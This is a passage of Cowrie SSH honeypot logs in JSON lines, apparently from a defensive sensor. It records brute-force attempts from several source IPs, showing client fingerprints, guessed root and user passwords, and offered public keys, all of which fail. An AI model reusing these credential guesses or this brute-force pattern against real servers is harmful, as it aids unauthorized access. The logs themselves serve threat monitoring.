57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:16.743203Z","src_ip":"2.57.121.25","session":"579e4a8db72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101092","message":"login attempt [user/101092] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:17.221551Z","src_ip":"2.57.121.25","session":"579e4a8db72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101084","message":"login attempt [user/101084] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:18.325966Z","src_ip":"2.57.121.25","session":"579e4a8db72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101078","message":"login attempt [user/101078] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:19.430750Z","src_ip":"2.57.121.25","session":"579e4a8db72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10061977","message":"login attempt [user/10061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:20.535441Z","src_ip":"2.57.121.25","session":"579e4a8db72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100387","message":"login attempt [user/100387] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:21.639413Z","src_ip":"2.57.121.25","session":"579e4a8db72f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:21:22.743134Z","src_ip":"2.57.121.25","session":"579e4a8db72f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":47538,"dst_ip":"159.203.135.109","dst_port":22,"session":"895ff3ca22a2","protocol":"ssh","message":"New connection: 103.77.175.15:47538 (159.203.135.109:22) [session: 895ff3ca22a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:14.768450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:14.773521Z","src_ip":"103.77.175.15","session":"895ff3ca22a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:15.036299Z","src_ip":"103.77.175.15","session":"895ff3ca22a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iuytrewq","message":"login attempt [root/iuytrewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:15.823230Z","src_ip":"103.77.175.15","session":"895ff3ca22a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":26436,"dst_ip":"159.203.135.109","dst_port":22,"session":"035d58e9886c","protocol":"ssh","message":"New connection: 194.59.206.2:26436 (159.203.135.109:22) [session: 035d58e9886c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:15.857357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:15.901640Z","src_ip":"194.59.206.2","session":"035d58e9886c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:15.969868Z","src_ip":"194.59.206.2","session":"035d58e9886c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:16.114197Z","src_ip":"194.59.206.2","session":"035d58e9886c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:17.088503Z","src_ip":"103.77.175.15","session":"895ff3ca22a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.17","src_port":43482,"dst_ip":"10.17.0.5","dst_port":22,"session":"42b8acfbe0e0","protocol":"ssh","message":"New connection: 103.75.71.17:43482 (10.17.0.5:22) [session: 42b8acfbe0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:53.040235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:53.045336Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:53.181262Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:a0:27:a2:51:8c:b9:87:d5:12:91:bb:48:78:dd:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqlL1gE/OSUWBRi6ib6erv3utdacO5xVjQDvu/QYYx5shbgdFvWVL3mAm5x/GXWTVEUiMXwhmd3XkF/ZFa8tauNurumtsGVo4UDA+JB8omzBKXi+49tBtbAVrKl6m2xPWwOtQPGgSagpynINXUbOkLG7tRtJu23Iz+KHa+wDEzZ0sOkYBSNjMoC7F9vUktdXMp5ugPbFgxFxYAF7a9ZBgSq4CxCwIakjQbJ0xKVv+RxiAs0swXK/mMf0ofYreWxGxvSnDZize98YeA+BUJ2k1wrOHsz++STribbn/nQXgG5zN0O3kZWDsLeKl+E62+K+bNyJIcvNn4IKiKroeuILW5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:a0:27:a2:51:8c:b9:87:d5:12:91:bb:48:78:dd:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:53.824100Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:a0:27:a2:51:8c:b9:87:d5:12:91:bb:48:78:dd:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqlL1gE/OSUWBRi6ib6erv3utdacO5xVjQDvu/QYYx5shbgdFvWVL3mAm5x/GXWTVEUiMXwhmd3XkF/ZFa8tauNurumtsGVo4UDA+JB8omzBKXi+49tBtbAVrKl6m2xPWwOtQPGgSagpynINXUbOkLG7tRtJu23Iz+KHa+wDEzZ0sOkYBSNjMoC7F9vUktdXMp5ugPbFgxFxYAF7a9ZBgSq4CxCwIakjQbJ0xKVv+RxiAs0swXK/mMf0ofYreWxGxvSnDZize98YeA+BUJ2k1wrOHsz++STribbn/nQXgG5zN0O3kZWDsLeKl+E62+K+bNyJIcvNn4IKiKroeuILW5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:53.828016Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:58:39:5f:dc:a1:c2:ae:7f:fa:2b:b6:ff:56:af:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOUVJHjmPy2A4f2UU0mtQvtUmM7UQSdsoyv6JM+m/i9AbQ5OO2g3gP9dtMKINSZIWzv+D8x2v2dvdHP73mC/TNhVOGUgbzwa4dDE5mWumhuJ82ZY6WIz4FEj9GTZP+RHIG+awaKonc+er8JOGqchgYTOz4TlfEigGDHe99Pzn53vCdCao2I3lM2r9zjiLgNwcrN9yEPboWgQgSmUUz5/+todfMrclNECldTSJfblW8u89ixNadct2e6arbJeixLdBy1Pn9OjFRriQdcAoIEW3GoR4AE5eliNwUOBlngNGUBmWX+VmCglX5RNlunUCcKVKsthPYfPFK6D+zeqUzTWNBrlUVaPR1sOieMeKlSM1PIBYSgRgUNTBHZTAstMti/bknHKILvxpTlC+7yrjY+t/U0MLTMtfexEOGhRUCv4IwBd9oIGQvSPSygaJHuhj1hlGI6v0KTpWvsIPLow0Jm1V3iYS7FiCNBN9ScTuEY7LWNJTnqfAebwjBtNZSYJGo8r/ceJoSDySOz/i4I/Tat4hpOJPNxfUBRLqwouo+trYX8iZ8y6Kxw+XYlI+dA6Yl5vZZWQlQk+Pc47Et8qqAe8K9o+0Ilkk0vC4Gw5SpiaGVDpKals0BWRJm1/p5iKOZD80XDMB73pVZ7rh/6++1hqoDgSqGJZtbheOCEe4nuoA0CQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:58:39:5f:dc:a1:c2:ae:7f:fa:2b:b6:ff:56:af:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:53.961539Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:58:39:5f:dc:a1:c2:ae:7f:fa:2b:b6:ff:56:af:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOUVJHjmPy2A4f2UU0mtQvtUmM7UQSdsoyv6JM+m/i9AbQ5OO2g3gP9dtMKINSZIWzv+D8x2v2dvdHP73mC/TNhVOGUgbzwa4dDE5mWumhuJ82ZY6WIz4FEj9GTZP+RHIG+awaKonc+er8JOGqchgYTOz4TlfEigGDHe99Pzn53vCdCao2I3lM2r9zjiLgNwcrN9yEPboWgQgSmUUz5/+todfMrclNECldTSJfblW8u89ixNadct2e6arbJeixLdBy1Pn9OjFRriQdcAoIEW3GoR4AE5eliNwUOBlngNGUBmWX+VmCglX5RNlunUCcKVKsthPYfPFK6D+zeqUzTWNBrlUVaPR1sOieMeKlSM1PIBYSgRgUNTBHZTAstMti/bknHKILvxpTlC+7yrjY+t/U0MLTMtfexEOGhRUCv4IwBd9oIGQvSPSygaJHuhj1hlGI6v0KTpWvsIPLow0Jm1V3iYS7FiCNBN9ScTuEY7LWNJTnqfAebwjBtNZSYJGo8r/ceJoSDySOz/i4I/Tat4hpOJPNxfUBRLqwouo+trYX8iZ8y6Kxw+XYlI+dA6Yl5vZZWQlQk+Pc47Et8qqAe8K9o+0Ilkk0vC4Gw5SpiaGVDpKals0BWRJm1/p5iKOZD80XDMB73pVZ7rh/6++1hqoDgSqGJZtbheOCEe4nuoA0CQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:53.965447Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:f9:d0:79:fe:78:2b:c6:e4:5e:e0:25:a4:b7:54:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvYtpKLUbWBXFFBJNYrX759eGeg2yfoB1C4jGi68IzIoSInyLMzpZgXbrvVvf6Ro0sedPlknkO8/gbF8DHMa/ISThnyw3bA8H+xT9FrhYKpON6JQoDon9kmNhbHrldnEXELuW8zyFGYt5grHvOipg3RGQozvTmTGiw0QYYrZwtae7RWqGEIXWjdrOvAuDKI1erfEryCkIgDjgOuCjLpEBNNwnrx436KJd6I/onxN78DLtp3K/93VQCf36/8F0Gl3Pm3I0n/JUVfhxW3YYl6Os4YIm3ll/gBs2n7IZWKL3pC6R8BID2CZQrel3bayNsHCSZcVOeDSt2vMLPpHuwmifnw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:f9:d0:79:fe:78:2b:c6:e4:5e:e0:25:a4:b7:54:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:54.102606Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:f9:d0:79:fe:78:2b:c6:e4:5e:e0:25:a4:b7:54:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvYtpKLUbWBXFFBJNYrX759eGeg2yfoB1C4jGi68IzIoSInyLMzpZgXbrvVvf6Ro0sedPlknkO8/gbF8DHMa/ISThnyw3bA8H+xT9FrhYKpON6JQoDon9kmNhbHrldnEXELuW8zyFGYt5grHvOipg3RGQozvTmTGiw0QYYrZwtae7RWqGEIXWjdrOvAuDKI1erfEryCkIgDjgOuCjLpEBNNwnrx436KJd6I/onxN78DLtp3K/93VQCf36/8F0Gl3Pm3I0n/JUVfhxW3YYl6Os4YIm3ll/gBs2n7IZWKL3pC6R8BID2CZQrel3bayNsHCSZcVOeDSt2vMLPpHuwmifnw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:54.106609Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:87:b3:9b:f1:fb:74:ad:b7:27:0f:c0:46:12:12:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvNN8ixVZJSNUcQjULHstihLkYw3/CjyZWKZ/XbYLbx/i/zrAq15lEm151nbaE9WRTxdq7qE8fi7lvduT7JJTfAZM2nbxwO4W20ULEXFWVkGGmas+rd2VRC+XraMGXzn+BYChFRUY4K4XhhqTyCNFZPnq8lJUYGnqiZDzwRAloA+yUXucou2nZG/L+DBfXJ97FJwhCIkw3QRuE0AzAR2IJr3GVCH6pWZ5NVrVcC3fiJ1nK16ZFl5sonyxGMQIhpCzNSeEsheDnAHuDEVIdCXQdoiFFYa1bMBaUz6h/GYRPpfOYDtLS78gkKLgHAzzi0oLPHN8//u8PXrwm07jlg186Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:87:b3:9b:f1:fb:74:ad:b7:27:0f:c0:46:12:12:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:54.240351Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:87:b3:9b:f1:fb:74:ad:b7:27:0f:c0:46:12:12:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvNN8ixVZJSNUcQjULHstihLkYw3/CjyZWKZ/XbYLbx/i/zrAq15lEm151nbaE9WRTxdq7qE8fi7lvduT7JJTfAZM2nbxwO4W20ULEXFWVkGGmas+rd2VRC+XraMGXzn+BYChFRUY4K4XhhqTyCNFZPnq8lJUYGnqiZDzwRAloA+yUXucou2nZG/L+DBfXJ97FJwhCIkw3QRuE0AzAR2IJr3GVCH6pWZ5NVrVcC3fiJ1nK16ZFl5sonyxGMQIhpCzNSeEsheDnAHuDEVIdCXQdoiFFYa1bMBaUz6h/GYRPpfOYDtLS78gkKLgHAzzi0oLPHN8//u8PXrwm07jlg186Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:54.243965Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:9b:0f:f2:f0:a6:f8:a8:eb:65:c5:ff:ef:a4:67:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5N9vFSahmvQ6Oec1vbAQ0M17K44HqAAjf8hBE75QTfQHFss4BBA5/uUaK8+myqOidIzKqWl9lCRTPbiDv9bU6eSNZ9IyRG9zJKOJX75Xe06paP4jgSzqFu1UD1NOme/eP03iLyPQYwv0ACPQ/HqIdaWvvYgYhEkqSmtBI6MXxGyXLNMQWigCDyQObS4eJpDNWIMWnctoaGyLMHvtTcTQrSBj4Hq3XGUZWj4+gvWRZp4JVd8km0hOUKivtUq9odbyYK0oBTRRXA3Vh0o6mcZatRbse/vRkfVpKBEyHns1sgfq6l9x4ELlpc67vv71Od/Gp1GOcqvAzT525UKw7QSzXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:9b:0f:f2:f0:a6:f8:a8:eb:65:c5:ff:ef:a4:67:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:54.377142Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:9b:0f:f2:f0:a6:f8:a8:eb:65:c5:ff:ef:a4:67:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5N9vFSahmvQ6Oec1vbAQ0M17K44HqAAjf8hBE75QTfQHFss4BBA5/uUaK8+myqOidIzKqWl9lCRTPbiDv9bU6eSNZ9IyRG9zJKOJX75Xe06paP4jgSzqFu1UD1NOme/eP03iLyPQYwv0ACPQ/HqIdaWvvYgYhEkqSmtBI6MXxGyXLNMQWigCDyQObS4eJpDNWIMWnctoaGyLMHvtTcTQrSBj4Hq3XGUZWj4+gvWRZp4JVd8km0hOUKivtUq9odbyYK0oBTRRXA3Vh0o6mcZatRbse/vRkfVpKBEyHns1sgfq6l9x4ELlpc67vv71Od/Gp1GOcqvAzT525UKw7QSzXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:54.380733Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:22:54.513428Z","src_ip":"103.75.71.17","session":"42b8acfbe0e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":50190,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a1d2353835c","protocol":"ssh","message":"New connection: 51.250.105.222:50190 (10.17.0.5:22) [session: 6a1d2353835c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:01.724226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:01.728786Z","src_ip":"51.250.105.222","session":"6a1d2353835c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:01.852323Z","src_ip":"51.250.105.222","session":"6a1d2353835c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:02.229153Z","src_ip":"51.250.105.222","session":"6a1d2353835c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:23:03.362199Z","src_ip":"51.250.105.222","session":"6a1d2353835c","protocol":"ssh"}
